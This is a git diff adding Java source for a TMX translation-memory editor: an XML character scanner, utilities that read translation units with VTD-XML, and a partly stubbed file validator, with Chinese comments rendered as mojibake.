quote && !entity.literal) || c == '%' || !XMLChar.isContent(c)) { + entity.position--; + break; + } + } + int length = entity.position - offset; + entity.columnNumber += length - newlines; + xs.setValues(entity.ch, offset, length); + if (entity.position != entity.count) { + c = entity.ch[entity.position]; + if (c == quote && entity.literal) { + c = -1; + } + } else { + c = -1; + } + return c; + } + + int scanContent(XMLString xs) throws IOException { + + if (entity.position == entity.count) { + load(0); + } else if (entity.position == entity.count - 1) { + entity.ch[0] = entity.ch[entity.count - 1]; + load(1); + } + + int offset = entity.position; + int c = entity.ch[offset]; + int newlines = 0; + if (c == '\n' || (c == '\r')) {// linefeed, carriage return + do { + c = entity.ch[entity.position++]; + if (c == '\r') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if (load(newlines)) { + break; + } + } + if (entity.ch[entity.position] == '\n') { + entity.position++; + offset++; + } else { + newlines++; + } + } else if (c == '\n') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if (load(newlines)) { + break; + } + } + } else { + entity.position--; + break; + } + } while (entity.position < entity.count - 1); + for (int i = offset; i < entity.position; i++) { + entity.ch[i] = '\n'; + } + int length = entity.position - offset; + + if (entity.position == entity.count - 1) { + xs.setValues(entity.ch, offset, length); + return -1; + } + } + + while (entity.position < entity.count) { + c = entity.ch[entity.position++]; + if (!XMLChar.isContent(c)) { + entity.position--; + break; + } + } + int length = entity.position - offset; + entity.columnNumber += length - newlines; + xs.setValues(entity.ch, offset, length); + + if (entity.position != entity.count) { + c = entity.ch[entity.position]; + if (c == '\r') { + c = '\n'; + } + } else { + c = -1; + } + return c; + } + + boolean scanData(String delimiter, XMLStringBuffer buff) throws IOException { + boolean found = false; + + return found; + } + + boolean skipChar(char ch) throws IOException { + if (entity.position == entity.count) { + load(0); + } + int cc = entity.ch[entity.position]; + if (cc == ch) { + entity.position++; + if (ch == '\n') { + entity.lineNumber++; + entity.columnNumber = 1; + } else { + entity.columnNumber++; + } + return true; + } else if (ch == '\n' && cc == '\r') { + if (entity.position == entity.count) { + entity.ch[0] = (char) cc; + load(1); + } + entity.position++; + if (entity.ch[entity.position] == '\n') { + entity.position++; + } + entity.lineNumber++; + entity.columnNumber = 1; + return true; + } + return false; + } + + boolean skipSpaces() throws IOException { + if (entity.position == entity.count) { + load(0); + } + int c = entity.ch[entity.position]; + if (XMLChar.isSpace(c)) { + do { + boolean finish = false; + if (c == '\n' || c == '\r') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count - 1) { + entity.ch[0] = (char) c; + finish = load(1); + if (!finish) { + entity.position = 0; + entity.startPosition = 0; + } + } + if (c == '\r') { + if (entity.ch[++entity.position] != '\n'){ + entity.position--; + } + } + } else { + entity.columnNumber++; + } + if (!finish) entity.position++; + if (entity.position == entity.count) { + load(0); + } + } while (XMLChar.isSpace(c = entity.ch[entity.position])); + return true; + } + return false; + } + + boolean skipString(String str) throws IOException { + + if (entity.position == entity.count) { + load(0); + } + + final int length = str.length(); + + for (int i = 0; i < length; i++) { + char c = entity.ch[entity.position++]; + if (c != str.charAt(i)) { + entity.position -= i + 1; + return false; + } + if (i < length - 1 && entity.position == entity.count) { + System.arraycopy(entity.ch, entity.count - i - 1, entity.ch, 0, i + 1); + if (load(i + 1)) { + entity.startPosition -= i + 1; + entity.position -= i + 1; + return false; + } + } + } + entity.columnNumber += length; + return true; + } +// boolean skipString(String str) throws IOException { +// +// if (entity.position == entity.count) { +// load(0); +// } +// +// final int length = str.length(); +// +// if (arrangeCapacity(length, false)) { +// final int beforeSkip = entity.position; +// int afterSkip = entity.position + length - 1; +// +// int i = length - 1; +// +// while (str.charAt(i--) == entity.ch[afterSkip]) { +// if (afterSkip-- == beforeSkip) { +// entity.position = entity.position + length; +// return true; +// } +// } +// } +// return false; +// } + + boolean arrangeCapacity(int length, boolean changeEntity) throws IOException { + if (entity.count - entity.position >= length) { + return true; + } + while (entity.count - entity.position < length) { + if (entity.ch.length - entity.position < length) { + System.arraycopy(entity.ch, entity.position, entity.ch, 0, entity.count - entity.position); + entity.count = entity.count - entity.position; + entity.position = 0; + } + + if (entity.count - entity.position < length) { + int pos = entity.position; + boolean b = load(entity.count); + entity.position = pos; + if (b) + break; + } + } + return entity.count - entity.position >= length; + } + + /** + * @param offset + * @return end file ? true : false; + * @throws IOException ; + */ + boolean load(int offset) throws IOException { + if (!hasReader) { + finish = true; + return true; + } + + int length = entity.ch.length - offset; + int count = entity.reader.read(entity.ch, offset, length); + if (count != -1) { + entity.hasLoad += count; + if (count != 0) { + entity.count = count + offset; + entity.position = offset; + } + } else { + entity.count = offset; + entity.position = offset; + finish = true; + } + return false; + } + + class TmxEntity { + public int hasLoad = 0; + public int baseCharOffset; + public int columnNumber; + public BufferedReader reader; + char[] ch = null; + int position = 0; + int count = 0; + boolean literal; + public int lineNumber; + public int startPosition; + } + + public boolean hasFinish() { + return finish; + } + public boolean skipDeclSpaces() throws IOException { + // load more characters, if needed + if (entity.position == entity.count) { + load(0); + } + + // skip spaces + int c = entity.ch[entity.position]; + if (XMLChar.isSpace(c)) { + do { + boolean entityChanged = false; + // handle newlines + if (c == '\n' || c == '\r') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count - 1) { + entity.ch[0] = (char) c; + entityChanged = load(1); + if (!entityChanged) { + // the load change the position to be 1, + // need to restore it when entity not changed + entity.position = 0; + entity.startPosition = 0; + } + } + if (c == '\r') { + // REVISIT: Does this need to be updated to fix the + // #x0D ^#x0A newline normalization problem? -Ac + if (entity.ch[++entity.position] != '\n') { + entity.position--; + } + } + /*** + * NEWLINE NORMALIZATION *** else { if (fCurrentEntity.ch[fCurrentEntity.position + 1] == '\r' && + * external) { fCurrentEntity.position++; } } / + ***/ + } else { + entity.columnNumber++; + } + // load more characters, if needed + if (!entityChanged) + entity.position++; + if (entity.position == entity.count) { + load(0); + } + } while (XMLChar.isSpace(c = entity.ch[entity.position])); + return true; + } + return false; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileDataAccessUtils.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileDataAccessUtils.java new file mode 100644 index 0000000..47de46c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileDataAccessUtils.java @@ -0,0 +1,229 @@ +/** + * TmxFileDataAccessUtils.java + * + * Version information : + * + * Date:2013-5-30 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils; + +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Utils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDNav; + +/** + * The Util of TMX file data access + * @author Jason + * @version 1.0 + * @since JDK1.6 + */ +public class TmxFileDataAccessUtils { + + /** + * Read TU attributes for VTDNav + * @param vu + * VTDUtils, The VTDNav cursor position must at TU node + * @param tu + * the results save into this instance + * @throws VTDException + * ; + */ + public static void readTUAttr4VTDNav(VTDUtils vu, TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot apAttributes = new AutoPilot(vu.getVTDNav()); + apAttributes.selectXPath("@*"); + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + // tuid, o-encoding, datatype, usagecount, lastusagedate, creationtool, creationtoolversion, creationdate, + // creationid, changedate, segtype, changeid, o-tmf, srclang. + if (name.equals("tuid")) { + tu.setTuId(value); + } else if (name.equals("creationtool")) { + tu.setCreationTool(value); + } else if (name.equals("creationtoolversion")) { + tu.setCreationToolVersion(value); + } else if (name.equals("creationdate")) { + tu.setCreationDate(value); + } else if (name.equals("creationid")) { + tu.setCreationUser(value); + } else if (name.equals("changedate")) { + tu.setChangeDate(value); + } else if (name.equals("changeid")) { + tu.setChangeUser(value); + } else { + tu.appendAttribute(name, value); + } + } + vn.pop(); + } + + /** + * Read current TU element all note child,
    + * the TmxNote dbPk value is the position in siblings + * @param vu + * VTDUtils,The VTDNav cursor position must at TU node + * @param tu + * current TU storage TmxTU + * @throws VTDException + * ; + */ + public static void readTUNote4VTDNav(VTDUtils vu, TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./note"); + int dbPk = 1; + while (ap.evalXPath() != -1) { + String fragment = vu.getElementContent(); + TmxNote note = new TmxNote(); + note.setContent(fragment); + int inx = vn.getAttrVal("xml:lang"); + String value = inx != -1 ? vn.toString(inx) : null; + if (value != null) { + note.setXmlLang(value); + } + inx = vn.getAttrVal("o-encoding"); + value = inx != -1 ? vn.toString(inx) : null; + if (value != null) { + note.setXmlLang(value); + } + note.setDbPk(dbPk); + dbPk++; + tu.appendNote(note); + } + vn.pop(); + } + + /** + * Read current TU element all prop child,
    + * will read the contexts into TmxTu Contexts, instead of save in TmxProp
    + * the TmxProp dbPk value is the position in siblings + * @param vu + * VTDUtils,The VTDNav cursor position must at TU node + * @param tu + * current TU storage TmxTU + * @throws VTDException + */ + public static void readTUProp4VTDNav(VTDUtils vu, TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./prop"); + int dbPk = 0; + while (ap.evalXPath() != -1) { + dbPk++; + String content = vu.getElementContent(); + if (content == null) { + continue; + } + content = TextUtil.resetSpecialString(content); + int inx = vn.getAttrVal("type"); + String typeValue = inx != -1 ? vn.toString(inx) : null; + if (typeValue == null) { + continue; + } + if (typeValue.equals(TmxContexts.PRE_CONTEXT_NAME)) { + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, content.trim()); + } else if (typeValue.equals(TmxContexts.NEXT_CONTEXT_NAME)) { + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, content.trim()); + } else if (typeValue.equals("x-Context")) { + // Trados TMX file + String[] contexts = content.split(","); + if (contexts.length == 2) { + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, contexts[0].trim()); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, contexts[1].trim()); + } + } else { + TmxProp p = new TmxProp(typeValue, content); + p.setDbPk(dbPk); + tu.appendProp(p); + } + } + vn.pop(); + } + + /** + * Read current TU element all TUV child base on current source and target language,
    + * @param vu + * VTDUtils,The VTDNav cursor position must at TU node + * @param tu + * current TU storage TmxTU + * @param srcLang + * current need load source language + * @param tgtLang + * current need load target language + * @throws VTDException + * ; + */ + public static void readTUTuv4VTDNav(VTDUtils vu, TmxTU tu, String srcLang, String tgtLang) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./tuv"); + int dbPk = 0; + // TUV 节点下的Note,Prop节点暂时ä¸å¤„ç†ï¼Œæ‰€ä»¥æ­¤å¤„æš‚æ—¶ä¸è§£æž + while (ap.evalXPath() != -1) { + dbPk++; + int inx = vn.getAttrVal("xml:lang"); + inx = inx == -1 ? vn.getAttrVal("lang") : inx; + String lang = inx != -1 ? vn.toString(inx) : null; + lang = LanguageUtils.convertLangCode(lang); + if (lang == null) { + continue; + } + TmxSegement segment = null; + vn.push(); + if (vu.pilot("./seg") != -1) { + String fullText = vu.getElementContent(); + // String pureText = DocUtils.getTmxTbxPureText(vu); + if (fullText == null/* || pureText == null || fullText.equals("") || pureText.equals("") */) { + vn.pop(); + continue; + } + segment = new TmxSegement(fullText, Utils.convertLangCode(lang)); + segment.setDbPk(dbPk); + if (lang.equalsIgnoreCase(srcLang)) { + tu.setSource(segment); + } else if (lang.equalsIgnoreCase(tgtLang)) { + tu.setTarget(segment); + } else { + tu.appendSegement(segment); + } + } + vn.pop(); + if (segment != null) { + segment.setCreationTool(vu.getCurrentElementAttribut("creationtool", null)); + segment.setCreationToolVersion(vu.getCurrentElementAttribut("creationtoolversion", null)); + segment.setCreationDate(vu.getCurrentElementAttribut("creationdate", null)); + segment.setCreationUser(vu.getCurrentElementAttribut("creationid", null)); + segment.setChangeDate(vu.getCurrentElementAttribut("changedate", null)); + segment.setChangeUser(vu.getCurrentElementAttribut("changeid", null)); + } + } + if (tu.getTarget() == null) { + TmxSegement segment = new TmxSegement("", Utils.convertLangCode(tgtLang)); + segment.setDbPk(-1); + tu.setTarget(segment); + } + vn.pop(); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileValidator.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileValidator.java new file mode 100644 index 0000000..2290d64 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxFileValidator.java @@ -0,0 +1,861 @@ +/** + * TmxFileValidator.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils; + +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; +import java.util.StringTokenizer; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.utils.TmxScanner.ErrorDescription; +import net.heartsome.xml.vtdimpl.EmptyFileException; +import net.heartsome.xml.vtdimpl.VTDLoader; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.ProgressBar; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ParseException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * TMXæ–‡ä»¶éªŒè¯ + * @author robert 2012-03-14 + * @version + * @since JDK1.6 + */ +public class TmxFileValidator implements Runnable { + + private static final Logger LOGGER = LoggerFactory.getLogger(TmxFileValidator.class); + + private String split = "--------------------------------------------------------------"; + + private Map vnMap = new HashMap(); + private Color red; + /** 当å‰å¤„ç†TMXæ–‡ä»¶çš„ç‰ˆæœ¬å· */ + private String version; + private Hashtable languages; + private Hashtable countries; + + private Hashtable tuids; + private int balance; + private Hashtable ids; + + private StyledText styledText; + private ProgressBar progressBar; + + private String tmxLocation; + + public ProgressBar getProgressBar() { + return progressBar; + } + + public void setProgressBar(ProgressBar progressBar) { + this.progressBar = progressBar; + } + + public TmxFileValidator(String tmxLocation, Shell shell) { + red = Display.getDefault().getSystemColor(SWT.COLOR_RED); + } + + private void printWarning(final String warn) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + styledText.append(warn); + } + }); + } + + private void printlnWarning(String warn) { + printWarning(warn + '\n'); + } + + private void printError(final String error) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + StyleRange range = new StyleRange(styledText.getText().length(), error.length(), red, null); + styledText.append(error); + styledText.setStyleRange(range); + } + }); + } + + private void printlnError(String error) { + printError(error + '\n'); + } + + private void printInfo(final String info) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + styledText.append(info); + } + }); + } + + private void printlnInfo(String info) { + printInfo(info + '\n'); + } + + public void validate() { + boolean output = false; + boolean repair = false; + File file = new File(tmxLocation); + VTDGen vg = null; + VTDNav vn = null; + AutoPilot ap = null; + XMLModifier xm = null; + try { + String encoding = FileEncodingDetector.detectFileEncoding(file); + try { + vg = VTDLoader.loadVTDGen(file, encoding); + } catch (Exception e) { + try { + vg = repair(); + repair = true; + } catch (IOException e1) { + LOGGER.error(e1.getMessage(), e1); + printError(Messages.getString("tmxeditor.tmxFileValidator.autofix.failure")); + return; + } + } + if (vg == null) { + return; + } + + vn = vg.getNav(); + ap = new AutoPilot(vn); + xm = new XMLModifier(vn); + + // è§„èŒƒæ€§éªŒè¯ + printlnInfo(split); + printlnInfo(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.standard.msg"), tmxLocation)); + + // 加载语言与国家 + languages = TextUtil.plugin_loadLanguages(); + countries = TextUtil.plugin_loadCoutries(); + + // 验è¯ä¸€çº§ + ap.selectXPath("/tmx/*"); + + // éªŒè¯ header + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() == -1) { + printError(Messages.getString("tmxeditor.tmxFileValidator.autofix.failure")); + return; + } + + // éªŒè¯ body + ap.selectXPath("count(/tmx/body)"); + if (ap.evalXPathToNumber() != 1) { + printError(Messages.getString("tmxeditor.tmxFileValidator.autofix.failure")); + return; + } + + // éªŒè¯ tu + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1) { + + } + + // éªŒè¯ body + + + // 创建临时文件 + // String tempLocation = tmpFile.getAbsolutePath(); + // styledText.append(Messages.getString("tmxeditor.tmxFileValidator.useDtdValidate")); + + // if (!parseXML(tempLocation)) { + // String parseErrorTip = MessageFormat.format( + // Messages.getString(Messages.getString("tmxeditor.tmxFileValidator.parseTmxTempleFileFaild")), + // tempLocation); + // StyleRange range = new StyleRange(styledText.getText().length(), parseErrorTip.length(), red, null); + // styledText.append(parseErrorTip); + // styledText.setStyleRange(range); + // return; + // } + // styledText.append(Messages.getString("tmxeditor.tmxFileValidator.validingTmxFile")); + + + // 判断æºè¯­è¨€ + // VTDNav vn = vnMap.get(tmxLocation); + // AutoPilot ap = new AutoPilot(vn); + // XMLModifier xm = new XMLModifier(vn); + + // ap.selectXPath("/tmx/header"); + // if (ap.evalXPath() == -1) {// no header + // // write default + // } else { + // // header Required attributes: creationtool, creationtoolversion, segtype, o-tmf, adminlang, srclang, + // // datatype. + // String[] requiredAttrs = new String[] { "creationtool", "creationtoolversion", "segtype", "o-tmf", + // "adminlang", "srclang", "datatype" }; + // AutoPilot tmp = new AutoPilot(vn); + // for (String attr : requiredAttrs) { + // vn.push(); + // tmp.selectXPath("./@" + attr); + // if (tmp.evalXPath() == -1) { + // String tmpAttr = " " + attr + "=\"" + defaultAttrValue(attr) + "\""; + // xm.insertAttribute(tmpAttr); + // printWarning(MessageFormat.format( + // Messages.getString("tmxeditor.tmxFileValidator.standard.missReqAttr"), "header", attr) + // + " ,"); + // printlnWarning(Messages.getString("tmxeditor.tmxFileValidator.autofix") + tmpAttr); + // } else { + // String tmpAttrValue = vn.toRawString(vn.getAttrVal(attr)); + // if (!verifyAttrValue(attr, tmpAttrValue)) { + // printWarning(MessageFormat + // .format(Messages.getString("tmxeditor.tmxFileValidator.standard.errlangcode"), + // tmpAttrValue)); + // printWarning(", "); + // printlnWarning(Messages.getString("tmxeditor.tmxFileValidator.autofix") + // + defaultAttrValue(attr)); + // } + // } + // vn.pop(); + // } + // } + // + // // String srcLanguage = getAttribute(tmxLocation, "/tmx/header/@srclang", null); + // // if (srcLanguage == null) { + // // styledText.append(Messages.getString("tmxeditor.tmxFileValidator.repareSrcLang")); + // // + // // } + // // // if (!"*all*".equals(srcLanguage) && !checkLang(srcLanguage)) { + // // // throw new Exception(MessageFormat.format("错误:æºè¯­è¨€ {0} ä¸æ­£ç¡®ã€‚", srcLanguage)); + // // // } + // // + // // else { + // // styledText.append(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.srcLang"), + // // srcLanguage)); + // // } + // // if (!srcLanguage.equals("*all*")) { //$NON-NLS-1$ + // // validSrcLanguage(tmxLocation, srcLanguage); + // // } + // // + // // tuids = new Hashtable(); + // // recurse(tmxLocation); + // + printlnInfo(split); + printlnInfo(Messages.getString("tmxeditor.tmxFileValidator.validatePassed")); + + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + String errorTip = e.getMessage(); + printlnError(errorTip); + } + } + + private VTDGen repair() throws IOException { + // 文档错误 + printlnInfo(split); + printlnWarning(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.parseError.msg"), + tmxLocation)); + TmxScanner scanner = new TmxScanner(tmxLocation); + scanner.setProgressBar(progressBar); + StringBuilder error = null; + + while (!scanner.isFinish()) { + if (scanner.scanTmxDocument() == null) { + for (ErrorDescription errordes : scanner.errorFIFO) { + error = new StringBuilder(); + error.append("[ line : ").append(errordes.lineNumber).append(" ]").append(errordes.description); + printlnError(error.toString()); + } + } + } + tmxLocation = scanner.scanTmxDocument(); + + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + progressBar.setSelection(100); + } + }); + try { + File file = new File(tmxLocation); + if (file.exists()) { + return VTDLoader.loadVTDGen(file, FileEncodingDetector.detectFileEncoding(new File(tmxLocation))); + } + return null; + } catch (Exception e) { + scanner.clear(); + printError(Messages.getString("tmxeditor.tmxFileValidator.autofix.failure")); + return null; + } + } + + private boolean verifyAttrValue(String attr, String rawString) { + if (attr.equals("srclang")) { + // 是å¦è¯¥æ£€æµ‹ï¼Ÿ + } + return true; + } + + private String defaultAttrValue(String attr) { + return "Undefined"; + } + + /** + * 解æžTMX文件 ; + */ + private boolean parseXML(String xmlLocation) { + VTDGen vg = new VTDGen(); + boolean result = vg.parseFile(xmlLocation, true); + if (result) { + VTDNav vtdNav = vg.getNav(); + vnMap.put(xmlLocation, vtdNav); + } + return result; + } + + /** + * 通过验è¯æŒ‡å®šæ–‡ä»¶çš„头元素是å¦æ˜¯TMX,æ¥éªŒè¯è¯¥æ–‡ä»¶æ˜¯ä¸æ˜¯ä¸€ä¸ªTMX文件 + * @return + * @throws Exception + * ; + */ + private boolean validTmxRoot(String tmxLocation) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.canntFindFile"), tmxLocation)); + ap.selectXPath("/tmx"); + + if (ap.evalXPath() != -1) { + return true; + } + return false; + } + + /** + * 获å–属性值 + * @param xpath + * @param defaultValue + * @return + * @throws Exception + * ; + */ + private String getAttribute(String tmxLocation, String xpath, String defaultValue) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.canntFindFile"), tmxLocation)); + ap.selectXPath(xpath); + + int index; + if ((index = ap.evalXPath()) != -1) { + return vn.toString(index + 1); + } + vn.pop(); + return defaultValue; + } + + /** + * 获å–属性值 + * @param xpath + * @param defaultValue + * @return + * @throws Exception + * ; + */ + private String getAttribute(VTDNav vn, String attriName, String defaultValue) throws Exception { + vn.push(); + int index; + if ((index = vn.getAttrVal(attriName)) != -1) { + return vn.toString(index); + } + vn.pop(); + return defaultValue; + } + + /** + * 创建一个用于编辑的临时TMX文件 + */ + public File createTmpFile(String tmxLocation) throws Exception { + File tmpFile = null; + File folder = null; + File curFolder = new File("."); + + if (TeCoreUtils.OS_WINDOWS == TeCoreUtils.getCurrentOS()) { + folder = new File(curFolder.getAbsoluteFile() + TeCoreUtils.getFileSeparator() + "~$temp"); + if (!folder.exists()) { + folder.mkdirs(); + } + folder.deleteOnExit(); + String sets = "attrib +H \"" + folder.getAbsolutePath() + "\""; + // è¿è¡Œå‘½ä»¤ä¸² + Runtime.getRuntime().exec(sets); + } else { + folder = new File(curFolder.getAbsoluteFile() + TeCoreUtils.getFileSeparator() + ".temp"); + if (!folder.exists()) { + folder.mkdirs(); + } + folder.deleteOnExit(); + } + + tmpFile = File.createTempFile("tmp", ".TMX", folder); + tmpFile.deleteOnExit(); + + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.canntFindFile"), tmxLocation)); + XMLModifier xm = new XMLModifier(vn); + save(xm, tmpFile); + return tmpFile; + } + + /** + * 循环æ¯ä¸€ä¸ªtu节点,进一步判断æºè¯­è¨€ + * @param tmxLocation + */ + private void validSrcLanguage(String tmxLocation, String srcLanguage) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.canntFindFile"), tmxLocation)); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tuvAp = new AutoPilot(vn); + ap.selectXPath("/tmx/body/tu"); + + int index; + while (ap.evalXPath() != -1) { + boolean found = false; + vn.push(); + tuvAp.selectXPath("./tuv"); + while (tuvAp.evalXPath() != -1) { + String lang = ""; + if ((index = vn.getAttrVal("xml:lang")) != -1) { + lang = vn.toString(index); + } + if ("".equals(lang)) { + if (version.equals("1.1") || version.equals("1.2")) { + if ((index = vn.getAttrVal("lang")) != -1) { //$NON-NLS-1$ + lang = vn.toString(index); + } + } else { + throw new Exception(Messages.getString("tmxeditor.tmxFileValidator.tuvLangError")); + } + } + if (lang.equals("")) { + throw new Exception(Messages.getString("tmxeditor.tmxFileValidator.tuvLangError")); + } + + if (lang.equals(srcLanguage)) { + found = true; + } + } + if (!found) { + throw new Exception(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.lacktuLang"), + srcLanguage)); + } + vn.pop(); + } + } + + /** + * 验è¯æ‰€æœ‰èŠ‚点的属性与seg节点的内容 + * @param tmxLocation + * @throws Exception + * ; + */ + private void recurse(String tmxLocation) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.canntFindFile"), tmxLocation)); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx//*"); + + VTDUtils vu = new VTDUtils(vn); + Map attributesMap; + + // 先验è¯æ‰€æœ‰çš„属性值 + while (ap.evalXPath() != -1) { + attributesMap = getAllAttributes(vn); + checkAttribute(attributesMap, vu); + } + + // å†éªŒè¯seg节点下的内容 + ap.resetXPath(); + ap.selectXPath("/tmx/body/tu/tuv/seg"); + while (ap.evalXPath() != -1) { + balance = 0; + ids = null; + ids = new Hashtable(); + String segFrag = vu.getElementFragment(); + + vn.push(); + AutoPilot segChildAP = new AutoPilot(vn); + segChildAP.selectXPath("./*"); + while (segChildAP.evalXPath() != -1) { + String nodeName = vu.getCurrentElementName(); + System.out.println("nodeName = " + nodeName); + if ("bpt".equals(nodeName)) { //$NON-NLS-1$ + balance += 1; + if (version.equals("1.4")) { //$NON-NLS-1$ + String s = getAttribute(vn, "i", ""); //$NON-NLS-1$ + if (!ids.containsKey(s)) { + ids.put(s, "1"); + } else { + if (ids.get(s).equals("-1")) { + ids.put(s, "0"); + } else { + throw new Exception( + Messages.getString("tmxeditor.tmxFileValidator.error.duplicateElement_type_1") + + "\n" + segFrag + "\n"); + } + } + } + } + + if ("ept".equals(nodeName)) { //$NON-NLS-1$ + balance -= 1; + if (version.equals("1.4")) { //$NON-NLS-1$ + String s = getAttribute(vn, "i", ""); //$NON-NLS-1$ + if (!ids.containsKey(s)) { + ids.put(s, 